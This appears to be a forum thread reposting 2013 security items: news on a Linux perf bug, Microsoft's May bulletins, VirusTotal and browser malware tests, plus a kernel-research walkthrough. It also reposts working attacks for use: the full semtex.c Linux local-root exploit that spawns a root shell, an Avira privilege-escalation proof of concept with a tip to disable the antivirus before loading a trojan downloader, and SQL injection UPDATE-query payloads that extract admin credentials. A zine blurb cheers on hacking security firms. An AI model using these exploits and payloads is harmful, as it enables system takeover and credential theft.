[h=2]Avira Personal Privilege Escalation Vulnerability[/h] ============================================ Tested on OS: Microsoft Windows XP Professional 5.1.2600 Service Pack 2 2600 ============================================ Vulnerable Software: Avira Personal Tested version of Avira: ============================================ Product version 10.2.0.719 25.10.2012 Search engine 8.02.12.38 07.05.2013 Virus definition file 7.11.77.54 08.05.2013 Control Center 10.00.12.31 21.07.2011 Config Center 10.00.13.20 21.07.2011 Luke Filewalker 10.03.00.07 21.07.2011 AntiVir Guard 10.00.01.59 21.07.2011 Filter 10.00.26.09 21.07.2011 AntiVir WebGuard 10.01.09.00 09.05.2011 Scheduler 10.00.00.21 21.04.2011 Updater 10.00.00.39 21.07.2011 ============================================ Vulnerability: Privilegie Escalation ============================================ Proof Of concept: If the attacker somehow manages upload any malicious files to root directory of OS installed disk (%homedrive%) in the following manner: C:\Program.exe (In example attacker is limited to execute any file from webserver but is able upload any file to %homedrive%\ ) On next reboot this can be used to escalate privileges to NT_AUTHORITY/SYSTEM due vulnerability in Avira Personal(if that machine uses Avira Personal). ============================================ The main trouble begins from here: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx Parameters lpApplicationName [in, optional] c:\program.exe files\sub dir\program name c:\program files\sub.exe dir\program name c:\program files\sub dir\program.exe name c:\program files\sub dir\program name.exe ============================================ For this purposes i have used the following AutoIT script (then compiled it to 32 bit win32 binary) While 1 sleep(18000);//sleep for 18 seconds for fun MsgBox(64,"","Blah!" & @CRLF & "Woot: We got=> " & @UserName);//display the current user ShellExecute("cmd.exe");//launch cmd.exe ;Enjoy WEnd and uploaded it as Program.exe to C:\ Then simply rebooted machine. Here is result on next reboot: See escal1.PNG http://i052.radikal.ru/1305/69/7bb1ce0323ec.png http://s56.radikal.ru/i152/1305/03/10bc43883c89.png In eg: this vuln can be used in the following situations: http://packetstormsecurity.com/files/121168/MiniWeb-File-Upload-Directory-Traversal.html Attacker is able to upload arbitrary files to system but he/she is unable to execute it. ON next reboot attacker can escalate privileges to SYSTEM privilegie due vulnerability in Avira Personal. This is also possible disable Realtime protection(Guard) of Avira personal in the following way on next reboot: =========================Compile as program.exe and place to %homedrive%\==================== While 1 sleep(3600*1000); WEnd ====Start your another troyan downloader and download/execute known malware to Avira========== # 98CC4E5E757987B4 1337day.com [2013-05-17] 45058B9096F3ABCA # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

[h=3]Introduction to Windows Kernel Security Research[/h]A few months ago, I mentioned a crash I'd encountered under memory pressure on windows. I was hoping sharing a reproducer might stimulate someone who was interested in learning about kernel debugging to investigate, learning some new skills and possibly getting some insight into researching security issues, potentially getting a head start on discovering their own. Sadly, I've yet to hear back from anyone who had done any work on it. I think the path subsystem is obscure enough that it felt too daunting a task for someone new to jump into, and the fact that the reproducer is not reliable might have been scary. I've decided to help get you started, hopefully someone will feel inspired enough to continue. Before reading this post, I assume you're comfortable with kd, IDA Pro and debugging without source code. First some background, hopefully you're already familiar with GDI basics and understand Pens, Brushes and so on. Paths are basically shapes that can be created by moving between points, they can be straight lines, or irregular and composed of curves, arcs, etc. Internally, a path is stored as a linked list of it's components (points, curves, etc). http://msdn.microsoft.com/en-us/library/windows/desktop/dd162779(v=vs.85).aspx The path subsystem is very old (pre-NT?), and uses it's own object allocator called PATHALLOC. PATHALLOC is relatively simple, it's backed (indirectly) by HeavyAllocPool() with the tag 'tapG', but does include it's own simple freelist implementation to reduce calls to HeavyAllocPool. The PATHALLOC entrypoints are newpathalloc() and freepathalloc(), if you look at the code you'll see it's very simple and easy to understand. Notice that if an allocation cannot be satisfied from the freelist, newpathalloc will always memset zero allocations via PALLOCMEM(), similar to what you might expect from calloc. However, take a look at the freelist check, if the allocation is satisfied from the freelist, it skips the memset zero. Therefore, it might return allocations that have not been initialized, and callers must be sure to do this themselves. It turns out, getting an object from the freelist happens quite rarely, so the few cases that don't initialize their path object have survived over 20 years in NT. The case we're going to take a look at is EPATHOBJ::pprFlattenRec(). Hopefully you're familiar with the concept of flattening, the process of translating a bezier curve into a sequence of lines. The details of how this works are not important, just remember that curves are converted into lines. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Flattening a curve, illustration from GraphicsPath MSDN documentation.[/TD] [/TR] [/TABLE] EPATHOBJ::pprFlattenRec() is an internal routine for applying this process to a linked list of PATHRECORD objects. If you follow the logic, you can see that the PATHRECORD object retrieved from newpathrec() is mostly initialized, but with one obvious error: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+33: .text:BFA122CD mov eax, [esi+PATHRECORD.prev] ; load old prev .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+new] ; get the new PATHRECORD .text:BFA122D4 mov [edi+PATHRECORD.prev], eax ; copy prev pointer over .text:BFA122D7 lea eax, [edi+PATHRECORD.count] ; save address of count member .text:BFA122DA xor edx, edx ; set count to zero .text:BFA122DC mov [eax], edx .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] ; load flags .text:BFA122E1 and ecx, 0FFFFFFEFh ; clear bezier flag (bezier means divide points by 3 because you need two control points and an ending point). .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx ; copy old flags over The next pointer is never initialized! Most of the time you want a new list node to have the next pointer set to NULL, so this works if you don't get your object from the freelist, but otherwise it won't work! How can we verify this hypothesis? Let's patch newpathrec() to always set the next pointer to a recognisable value, and see if we can reproduce the crash (Note: I don't use conditional breakpoints because of the performance overhead, if you're using something fancy like virtualkd, it's probably better to use them). There's a useless assertion in the checked build I don't need, I'll just overwrite the code with mov [pathrec->next], dword 0x41414141, like this (you can use the built in assembler if you want, but I don't like the syntax): kd> ba e 1 win32k!EPATHOBJ::newpathrec+31 kd> g Breakpoint 0 hit win32k!EPATHOBJ::newpathrec+0x31: 96611e9a 83f8ff cmp eax,0FFFFFFFFh kd> eb @eip c7 41 F0 41 41 41 41 90 90 90 90 90 90 90 90 90 90 kd> bc * kd> g Access violation - code c0000005 (!!! second chance !!!) win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h kd> r eax=41414141 ebx=9659017e ecx=a173bbec edx=00000001 esi=a173bbec edi=03010034 eip=9661252c esp=a173bbe4 ebp=a173bc28 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h ds:0023:41414149=?? This looks like convincing evidence that a newpathrec() caller is not initialising new objects correctly. When bFlatten() tried to traverse the linked list of PATHREC objects, it doesn't find the NULL it was expecting. We know the PATHREC list starts at EPATHOBJ+8, the pointer to the first element is in PATHREC+14, and the next pointer is at +0, so we can look at the chain of PATHREC objects that caused bFlatten() to crash in kd. The EPATHOBJ is in ecx (Because of the thiscall calling convention). The PATHREC list starts at poi(ecx+8) The first element in the list is at poi(poi(ecx+8)+14) (i.e. the head pointer) The next pointer for the first record will be at +0 in the PATHREC poi(poi(poi(ecx+8)+14)) We can keep adding poi() calls until we find the bad next pointer: this ecx [*]this->pathlist poi(ecx+8) [*]this->pathlist->head poi(poi(ecx+8)+14) [*]this->pathlist->head->next poi(poi(poi(ecx+8)+14)) [*]this->pathlist->head->next->next poi(poi(poi(poi(ecx+8)+14))) [*]this->pathlist->head->next->next->next poi(poi(poi(poi(poi(ecx+8)+14)))) [*]etc. Here is the object with the bad next pointer for me: kd> dd poi(poi(poi(ecx+8)+14)) fe9395a4 ff1fdde5 fe93904c 00000000 00000149 fe9395b4 01a6d0bf 00ec8b39 01a68f40 00ec19f2 fe9395c4 01a64da5 00eba8c0 01a60bee 00eb37a5 fe9395d4 01a5ca1b 00eac69f 01a5882d 00ea55af fe9395e4 01a54623 00e9e4d5 01a503fd 00e97411 fe9395f4 01a4c1bb 00e90362 01a47f5e 00e892ca fe939604 01a43ce6 00e82247 01a3fa52 00e7b1da fe939614 01a3b7a2 00e74183 01a374d7 00e6d142 The standard process for researching this kind of problem is to implement the various primitives we can chain together to get the behaviour we want reliably. These are the building blocks we use to control what's happening. Conceptually, this is something like: Primitive 1: Allocate a path object with as much contents controlled as possible. Primitive 2: Get that path object released and added to the freelist. Primitive 3: Trigger the bad allocation from the freelist. Once we have implemented these, we can chain them together to move an EPATHOBJ reliably into userspace, and then we can investigate if it's exploitable. Let's work on this. Controlling the contents of a PATHREC object A PATHREC looks something like this: struct PATHREC { VOID *next; VOID *prev; ULONG flags; ULONG count; // Number of points in array POINTFIX points[0]; // variable length array }; POINTFIX is documented in msdn as "A point structure that consists of {FIX x, y;}.". Let's try adding a large number of points to a path consisting of recognisable values as x,y coordinates with PolyBezierTo() and see if we can find it. If we break during the bounds checking in newpathrec(), we should be able to dump out the points and see if we hit it. I wrote some code like this (pseudocode): POINT *Points = calloc(8192, sizeof(POINT)); while (TRUE) { for (i = 0; i < 8192; i++) { Points[i].x = 0xDEAD; Points[i].y = 0xBEEF; } BeginPath(Device); PolyBezierTo(Device, Points, 8192 / 3); EndPath(Device); } And put a breakpoint in newpathrec(), and after some waiting, I see this: kd> ba e 1 win32k!EPATHOBJ::newpathrec+23 "dd @ecx; gc" kd> g fe85814c 000dead0 000beef0 000dead0 000beef0 fe85815c 000dead0 000beef0 000dead0 000beef0 fe85816c 000dead0 000beef0 000dead0 000beef0 fe85817c 000dead0 000beef0 000dead0 000beef0 fe85818c 000dead0 000beef0 000dead0 000beef0 fe85819c 000dead0 000beef0 000dead0 000beef0 fe8581ac 000dead0 000beef0 000dead0 000beef0 fe8581bc 000dead0 000beef0 000dead0 000beef0 This confirms the theory, that this trick can be used to get our blocks on the freelist. I spent some time making this reliable. Spamming the freelist with our POINTFIX structures Lets make sure that our paths are full of curves with these points, and then flatten them to resize them (thus reducing the number of points). If it works, just by chance we should start to see the original testcase crashing at recognisable addresses. GDISRV:AllocateObject failed alloc of 2268 bytes GDISRV:AllocateObject failed alloc of 2268 bytes GDISRV:AllocateObject failed alloc of 2268 bytes Access violation - code c0000005 (!!! second chance !!!) 9661252c f6400810 test byte ptr [eax+8],10h kd> r eax=04141410 ebx=9659017e ecx=8ef67bec edx=00000001 esi=8ef67bec edi=03010034 eip=9661252c esp=8ef67be4 ebp=8ef67c28 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h ds:0023:04141418=?? kd> kv ChildEBP RetAddr Args to Child 8ef67be4 965901ce 00000001 00000119 fe71cef0 win32k!EPATHOBJ::bFlatten+0x15 (FPO: [0,0,4]) 8ef67c28 829e0173 03010034 001cfb48 76f0a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) 8ef67c28 76f0a364 03010034 001cfb48 76f0a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 8ef67c34) Success! Now we have at least some control over the address, which is something to work with. You can see in EPATHOBJ::bFlatten() the object is handed over to EPATHOBJ::pprFlattenRec(), which is a good place to start looking to look for exploitation opportunities, possibly turning this into code execution. You can copy my portable shellcode from my KiTrap0D exploit if you need one, which should work reliably on many different kernels, the source code is available here: http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip If nobody jumps in, I'll keep adding more notes. Feel free to ask me questions if you get stuck or need a hand! If you solve the mystery and determine this is a security issue, send me an email and I'll update this post. If you confirm it is exploitable, feel free to send your work to Microsoft if you feel so compelled, if this is your first time researching a potential vulnerability it might be an interesting experience. Note that Microsoft treat vulnerability researchers with great hostility, and are often very difficult to work with. I would advise only speaking to them under a pseudonym, using tor and anonymous email to protect yourself. Posted by Tavis Ormandy at 7:12 PM Sursa: Tavis Ormandy: Introduction to Windows Kernel Security Research

[h=1]Critical Linux vulnerability imperils users, even after “silent” fix[/h][h=2]A month after critical bug was quietly fixed, "root" vulnerability persists.[/h]by Dan Goodin - May 15 2013, 7:44pm GTBST For more than two years, the Linux operating system has contained a high-severity vulnerability that gives untrusted users with restricted accounts nearly unfettered "root" access over machines, including servers running in shared Web hosting facilities and other sensitive environments. Surprisingly, most users remain wide open even now, more than a month after maintainers of the open-source OS quietly released an update that patched the gaping hole. The severity of the bug, which resides in the Linux kernel's "perf," or performance counters subsystem, didn't become clear until Tuesday, when attack code exploiting the vulnerability became publicly available (note: some content on this site is not considered appropriate in many work environments). The new script can be used to take control of servers operated by many shared Web hosting providers, where dozens or hundreds of people have unprivileged accounts on the same machine. Hackers who already have limited control over a Linux machine—for instance, by exploiting a vulnerability in a desktop browser or a Web application—can also use the bug to escalate their privileges to root. The flaw affects versions of the Linux kernel from 2.6.37 to 3.8.8 that have been compiled with the CONFIG_PERF_EVENTS kernel configuration option. "Because there's a public exploit already available, an attacker would simply need to download and run this exploit on a target machine," Dan Rosenberg, a senior security researcher at Azimuth Security, told Ars in an e-mail. "The exploit may not work out-of-the-box on every affected machine, in which case it would require some fairly straightforward tweaks (for someone with exploit development experience) to work properly." The fix to the Linux kernel was published last month. Its documentation did not mention that the code patched a critical vulnerability that could jeopardize the security of organizations running Linux in highly sensitive environments. This lack of security advisories has been standard practice for years among Linus Torvalds and other developers of the Linux kernel—and has occasionally been the subject of intense criticism from some in security circles. Now that a fix is available in the kernel, it will be folded into all of the affected stable kernel releases offered by kernel.org, which maintains the Linux core code. Individual distributions are expected to apply the fix to their kernels and publish security updates in the coming days. Additional details of the bug are available here, here, here, and here. People running vulnerable machines with untrusted user accounts should check with their distributors to find out when a patch will be available and what steps can be taken in the meantime. One user of a Red Hat Linux distribution posted temporary mitigation steps here, although at time of writing, Ars was unable to confirm that they worked. Readers are encouraged to post other mitigation advice in comments. Sursa: Critical Linux vulnerability imperils users, even after “silent” fix | Ars Technica

/* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 sd@fucksheep.org, salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x380000000 #define SIZE 0x010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1; for (i=0; i<4000; i+=4) { uint64_t *p = (void *)&current[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return; next:; } } } void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd)); } int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); } Sursa: http://fucksheep.org/~sd/warez/semtex.c

[h=1]Microsoft Security Bulletin Summary for May 2013[/h] Published: Tuesday, May 14, 2013 Version: 1.0 This bulletin summary lists security bulletins released for May 2013. With the release of the security bulletins for May 2013, this bulletin summary replaces the bulletin advance notification originally issued May 9, 2013. For more information about the bulletin advance notification service, see Microsoft Security Bulletin Advance Notification. For information about how to receive automatic notifications whenever Microsoft security bulletins are issued, visit Microsoft Technical Security Notifications. Microsoft is hosting a webcast to address customer questions on these bulletins on May 15, 2013, at 11:00 AM Pacific Time (US & Canada). Register now for the May Security Bulletin Webcast. After this date, this webcast is available on-demand. Microsoft also provides information to help customers prioritize monthly security updates with any non-security updates that are being released on the same day as the monthly security updates. Please see the section, Other Information. [h=3]Bulletin Information[/h][h=4]Executive Summaries[/h]The following table summarizes the security bulletins for this month in order of severity. For details on affected software, see the next section, Affected Software. [TABLE=class: dataTable, width: 88%] [TR] [TH]Bulletin ID[/TH] [TH]Bulletin Title and Executive Summary[/TH] [TH]Maximum Severity Rating and Vulnerability Impact[/TH] [TH]Restart Requirement[/TH] [TH]Affected Software[/TH] [/TR] [TR] [TD]MS13-037[/TD] [TD]Cumulative Security Update for Internet Explorer (2829530)This security update resolves eleven privately reported vulnerabilities in Internet Explorer. The most severe vulnerabilities could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited the most severe of these vulnerabilities could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.[/TD] [TD]Critical Remote Code Execution[/TD] [TD]Requires restart[/TD] [TD]Microsoft Windows, Internet Explorer [/TD] [/TR] [TR=class: alternateRow] [TD]MS13-038[/TD] [TD]Security Update for Internet Explorer (2847204) This security update resolves one publicly disclosed vulnerability in Internet Explorer. The vulnerability could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.[/TD] [TD]Critical Remote Code Execution[/TD] [TD]May require restart[/TD] [TD]Microsoft Windows, Internet Explorer [/TD] [/TR] [TR] [TD]MS13-039[/TD] [TD]Vulnerability in HTTP.sys Could Allow Denial of Service (2829254) This security update resolves a privately reported vulnerability in Microsoft Windows. The vulnerability could allow denial of service if an attacker sends a specially crafted HTTP packet to an affected Windows server or client.[/TD] [TD]Important Denial of Service[/TD] [TD]Requires restart[/TD] [TD]Microsoft Windows [/TD] [/TR] [TR=class: alternateRow] [TD]MS13-040 [/TD] [TD]Vulnerabilities in .NET Framework Could Allow Spoofing (2836440)This security update resolves one privately reported vulnerability and one publicly disclosed vulnerabilityin the .NET Framework. The more severe of the vulnerabilities could allow spoofing if a .NET application receives a specially crafted XML file. An attacker who successfully exploited the vulnerabilities could modify the contents of an XML file without invalidating the file's signature and could gain access to endpoint functions as if they were an authenticated user.[/TD] [TD]Important Spoofing[/TD] [TD]May require restart[/TD] [TD]Microsoft Windows, Microsoft .NET Framework [/TD] [/TR] [TR] [TD]MS13-041[/TD] [TD]Vulnerability in Lync Could Allow Remote Code Execution (2834695) This security update resolves a privately reported vulnerability in Microsoft Lync. The vulnerability could allow remote code execution if an attacker shares specially crafted content, such as a file or program, as a presentation in Lync or Communicator and then convinces a user to accept an invitation to view or share the presentable content. In all cases, an attacker would have no way to force users to view or share the attacker-controlled file or program. Instead, an attacker would have to convince users to take action, typically by getting them to accept an invitation in Lync or Communicator to view or share the presentable content.[/TD] [TD]Important Remote Code Execution[/TD] [TD]May require restart[/TD] [TD]Microsoft Lync [/TD] [/TR] [TR=class: alternateRow] [TD]MS13-042 [/TD] [TD]Vulnerabilities in Microsoft Publisher Could Allow Remote Code Execution (2830397)This security update resolves eleven privately reported vulnerabilities in Microsoft Office. The vulnerabilities could allow remote code execution if a user open a specially crafted Publisher file with an affected version of Microsoft Publisher. An attacker who successfully exploited these vulnerabilities could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.[/TD] [TD]Important Remote Code Execution[/TD] [TD]May require restart[/TD] [TD]Microsoft Office [/TD] [/TR] [TR] [TD]MS13-043[/TD] [TD]Vulnerability in Microsoft Word Could Allow Remote Code Execution (2830399) This security update resolves one privately reported vulnerability in Microsoft Office. The vulnerability could allow code execution if a user opens a specially crafted file or previews a specially crafted email message in an affected version of Microsoft Office software. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.[/TD] [TD]Important Remote Code Execution[/TD] [TD]May require restart[/TD] [TD]Microsoft Office [/TD] [/TR] [TR=class: alternateRow] [TD]MS13-044[/TD] [TD]Vulnerability in Microsoft Visio Could Allow Information Disclosure (2834692)This security update resolves a privately reported vulnerability in Microsoft Office. The vulnerability could allow information disclosure if a user opens a specially crafted Visio file. Note that this vulnerability would not allow an attacker to execute code or to elevate their user rights directly, but it could be used to produce information that could be used to try to further compromise an affected system.[/TD] [TD]Important Information Disclosure[/TD] [TD]May require restart[/TD] [TD]Microsoft Office [/TD] [/TR] [TR] [TD]MS13-045[/TD] [TD]Vulnerability in Windows Essentials Could Allow Information Disclosure (2813707)This security update resolves a privately reported vulnerability in Windows Essentials. The vulnerability could allow information disclosure if a user opens Windows Writer using a specially crafted URL. An attacker who successfully exploited the vulnerability could override Windows Writer proxy settings and overwrite files accessible to the user on the target system. In a web-based attack scenario, a website could contain a specially crafted link that is used to exploit this vulnerability. An attacker would have to convince users to visit the website and open the specially crafted link.[/TD] [TD]Important Information Disclosure[/TD] [TD]May require restart[/TD] [TD]Microsoft Windows Essentials [/TD] [/TR] [TR=class: alternateRow] [TD]MS13-046[/TD] [TD]Vulnerabilities in Kernel-Mode Drivers Could Allow Elevation Of Privilege (2840221) This security update resolves three privately reported vulnerabilities in Microsoft Windows. The vulnerabilities could allow elevation of privilege if an attacker logs on to the system and runs a specially crafted application. An attacker must have valid logon credentials and be able to log on locally to exploit these vulnerabilities.[/TD] [TD]Important Elevation of Privilege[/TD] [TD]Requires restart[/TD] [TD]Microsoft Windows [/TD] [/TR] [/TABLE] Sursa: Microsoft Security Bulletin Summary for May 2013

[h=3]SQL Injection With Update Query[/h]We have wrote couple of articles discussing various techniques and attack vectors for SQL Injection, We have already discussed Basic SQL Injection With Union Based, Blind SQL Injection, Time Based SQL Injection and also discussed common problems and their solutions related to SQL Injection. However, this time Daniel Max a regular reader of RHA will discuss about exploiting SQL Injection with Update Query. Most of the tutorials, You see on the web usually explains to use the SELECT method in order to retrieve stuff from the database, But what if we wanted to update some thing that is already present in the database, For example a MD5 hash, that we are not able to crack, In order to gain access to the admin panel, We would simply run a update query and it will automatically update the password. We recommend you to atleast read little bit about MYSQL from w3schools.com, before proceeding with this tutorial as this tutorial is not for complete beginners. Requirements Tamper Data Burp Suite Know how of MySQL (w3schools.com recommended) So, Below is a screenshot of the form which we want to update, What we want to update is the Email address with our SQL Injection. Vulnerable parameter is "E-mail format: " value.We would use Tamper data to intercept and change the values. Here is a screenshot: After we click ok we get an error the following error: First we want to find the exact database version, but what would be the easiest way. We can set value for other parameters, MySQL will let us do that as long as that parameter is one of UPDATE query parameters. We will use "fname" , which is string value. Database query output will be shown inside "First name" input box (where it says MaXoNe). Screenshot of version query: Screenshot of the rendered content with database answer: Now that we know how to create our query, lets get the tables. Full query: html' , fname = (select group_concat(table_name) from information_schema.tables where table_schema = database()) , phone = ' Tables Query: Screenshot of the rendered content with database answer: Three tables, strange !? Lets check that again.We use count. Full query: html' , fname = (select count(table_name) from information_schema.tables where table_schema = database()) , phone = ' Screenshot of get tables count query: Screenshot of the rendered content with database answer: Now is time for Burp intruder.Set browser to use 127.0.0.1 and 8080 for all URLs. We use Burp Suite intruder with 'Attack type' "Sniper" and 'Payload type' "Numbers" Full query: html' , fname = (select concat(table_name) from information_schema.tables where table_schema = database() limit 0,1) , phone = ' Screenshot of burp settings: Thats it. And now you just get columns the same way with Burp Suite. Full query: html' , fname = (select concat(column_name) from information_schema.columns where table_name = 0x61646d696e73 limit n,1) , phone = ' Just increment n with Burp Suite. Values : Full query: html' , fname = (select concat(user,0x3a,pass) from admins limit n,1) , phone = ' Just increment n with Burp Suite. That's it , simple and yet effective . I used this because , waf blocked -- and --+ so I wasn't able to close and comment out query. About The Author This article has been written by Daniel Max, He is a security researcher from Bosnia, He is willing to actively contribute to RHA. Sursa: http://www.rafayhackingarticles.net/2013/05/sql-injection-with-update-query.html

[h=1]VirusTotal now analyzing Your Network Traffic[/h]Posted by: FastFlux May 2, 2013 The popular VirusTotal service, which was recently bought out by Google and can run more than 20 anti-virus scanners over a sample in one pass, can now also look for traces of malware infections in captured network traffic. To perform a check, users upload network packets that are captured in the common PCAP format instead of sending VirusTotal the more traditional suspicious EXE, PDF or HTML file. Such network traffic dumps can be created with sniffers like Wireshark or tcpdump. VirusTotal will extract all transmitted files and present them to the familiar virus scanners; registered users will also receive copies of the extracted files. The scan service also looks at the network traffic data with the Snort and Suricata intrusion detection systems. These services can, for instance, detect the communication between a botnet client and its command & control server, as well as other typical attack patterns. The analysis that VirusTotal executes can, in essence, also be performed by manually running each scanner one by one. The new analysis feature isn’t aimed at amateur users – who will likely not make much of messages such as “NETBIOS SMB-DS DCERPC NetrpPathCanonicalize request (possible MS06-040)” – but for administrators and security specialists, it provides a very quick way of extracting useful information. Originally posted: The H: Open Source, Security and Development Sursa: VirusTotal now analyzing Your Network Traffic | ZeroSecurity

[h=1]Internet Explorer 10 beats Chrome and Firefox for blocking malware, says analyst report[/h] Internet Explorer 10 beats both Google’s Chrome and Firefox when it comes to blocking malware downloads, according to analysts NSS Labs. The company’s tests using 754 samples of real-world infected links found that Microsoft’s browser was far ahead of its competitors. The tests found that Internet Explorer 10 offered a mean malware block rate of 99.96%, with Chrome in second with a mean block rate of 83.16%. “Safari and Firefox, with mean malware block rates of 10.15% and 9.92% respectively, provided negligible protection but were still more than five times more effective than Opera, which blocked only 1.87% of the malware in this test,” said the company in its report. The tests were conducted over a period of 28 days, with 550 “test runs” per browser against URLs containing malware, according to NSS Labs. The products under test were Apple Safari 5, Google Chrome 25/26, Microsoft Internet Explorer 10, Mozilla Firefox 19 and Opera 12. “As the first line of defense against malware infection, browsers must provide a strong layer of protection,” the company says. “NSS tested the effectiveness of five leading web browsers against 754 samples of real-world malicious software, and the results show significantly differing protection capabilities.” “For every ten web encounters with socially engineered malware, Firefox and Safari users will be protected from approximately one attack. Nine out of ten browser malware encounters will test the defenses of installed anti-*virus or other operating system defenses,” the report says. “By contrast, Chrome users will be protected from eight out of ten such attacks, and Internet Explorer 10 users will be protected from all but about 4 out of 1,000 socially engineered malware attacks.” Sursa: Internet Explorer 10 beats Chrome and Firefox for blocking malware, says analyst report

HTP Zine 5 I have to admit, i really like their work, just keep being so creative guys,hacking&exposing websitet that offer vulnerability researching is fun,with fun i mean when a security firm cant afford security to itself,there are plenty of vulnerable websites which offer malware scanning,web application vulnerability researching etc, even big ones. ???????????????????????????????????????????????????????????????????????????????? ????????? ???????????????????????????????????????? > Intro ? ? ???????????????????????????????????????? > MIT/EDU ???? ??? ???????????????????????????????????????? > Linode ? ? ??? ???????????????????????????????? ??? > Nmap ? ?????????? ??? ?? ?? ?? ?? ??? ??? ? ?? ?? ?? ??? > Sucuri ????? ? ??? ?? ?? ?? ?? ??? ??? ? ?? ?? ?? ??? > NIST NVD ? ??? ? ??? ???????????????????????????????? ??? > Wireshark ? ??? ? ??? ________________________________ ??? > Art ? ??????? ??? HTP____________________MWTB_DLTR ??? > Zerodays ???????? ? ???????????????????????????????????????? > Outro ? ????? ????? ?????????????????????????? ????? > See reverse for ? ????? ???? ???????????????????????????? ???? > HTP4 ? ? ???????? ???????????????????????????????????????????????????????????????????????????????? The Zine : Vulnerability analysis, Security Papers, Exploit Tutorials Sursa: Security-Hooligan: HTP Zine 5

HTML 5 Good Practice Guide Authored by Tim Brown | Site portcullis-security.com This document is not intended to be a definitive guide, but more of a review of specific security issues resulting from the use of HTML 5. Download: http://packetstormsecurity.com/files/download/121664/HTML5GPG.pdf Sursa: HTML 5 Good Practice Guide ? Packet Storm

Nasa buys into 'quantum' computer By Alex Mansfield BBC Radio Science Unit The machine does not fit the conventional concept of a quantum computer, but makes use of quantum effects A $15m computer that uses "quantum physics" effects to boost its speed is to be installed at a Nasa facility. It will be shared by Google, Nasa, and other scientists, providing access to a machine said to be up to 3,600 times faster than conventional computers. Unlike standard machines, the D-Wave Two processor appears to make use of an effect called quantum tunnelling. This allows it to reach solutions to certain types of mathematical problems in fractions of a second. Is quantum computing possible? Effectively, it can try all possible solutions at the same time and then select the best. Google wants to use the facility at Nasa's Ames Research Center in California to find out how quantum computing might advance techniques of machine learning and artificial intelligence, including voice recognition. The gate model... is the single worst thing that ever happened to quantum computing” University researchers will also get 20% of the time on the machine via the Universities Space Research Agency (USRA). Nasa will likely use the commercially available machine for scheduling problems and planning. Canadian company D-Wave Systems, which makes the machine, has drawn scepticism over the years from quantum computing experts around the world. Until research outlined earlier this year, some even suggested its machines showed no evidence of using specifically quantum effects. Quantum computing is based around exploiting the strange behaviour of 